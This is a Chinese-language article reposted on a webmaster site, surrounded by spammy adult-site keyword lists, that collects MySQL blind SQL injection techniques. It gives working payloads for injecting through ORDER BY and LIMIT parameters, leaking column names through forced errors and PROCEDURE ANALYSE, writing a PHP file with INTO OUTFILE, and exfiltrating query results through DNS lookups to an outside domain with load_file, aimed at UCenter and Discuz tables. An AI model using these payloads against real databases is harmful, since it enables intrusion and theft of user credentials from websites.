精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網

17站長網 首頁 安全 入侵防御 查看內容

Mysql另類盲注中的一些技巧小結

2022-9-26 12:54| 查看: 2300 |來源: 互聯網

一、order by 的參數注入技巧:兩種方法,思路都一樣。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常見的利用方法:1.[SQL] select username,password from uc_members

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之后的limit參數 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:into outfile '/www/root/xxx.php';

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這里還有個技巧,使用procedure analyse可以獲取字段名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure

三、無法猜測字段時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'username' cannot be null
5. ……

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root權限下的mysql,利用load_file函數讀取遠程文件的思路。本地搭建一個dns服務器,然后將特定域名的NS server轉過來。然后進行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功獲得select的結果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

如圖所示:

本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 欧美3d人妖交 | 激情六月丁香婷婷 | 成人免费视频一区 | 九九视频九九热 | 亚洲 欧美 中文字幕 | 黄色资源在线观看 | 小优视频在线观看网 | 伊人久久综合网站 | 黄色1级 | 一级欧美一级日韩毛片99 | v视界影院视频一区二区三区 | 免看一级a毛片一片成人不卡 | 日韩福利在线视频 | 国产美女视频网站 | 青草色视频 | 香蕉视频在线播放 | 日本wwwxxxx| 国产麻豆视频免费观看 | 国产精品久久久精品三级 | 日韩中出 | 日韩毛片欧美一级国产毛片 | 亚洲毛片在线观看 | 国产免费拍拍视频在线观看网站 | 中文字幕一区二区三区在线播放 | 亚洲国产综合精品 | 日韩在线免费视频 | 天天鲁天天玩天天爽天天 | 午夜在线精品不卡国产 | 日韩免费一区 | 日本免费黄色片 | 中文字幕在线观看一区二区 | 国产成人精品免费视频大全五级 | 亚洲美女免费视频 | 国产伦久视频免费观看 视频 | 2021久久精品永久免费 | 国产美女精品三级在线观看 | 四虎东方va私人影库在线观看 | 国产成人免费片在线视频观看 | 亚洲国产成人精品一区91 | 成人国产免费 | 黄色www.|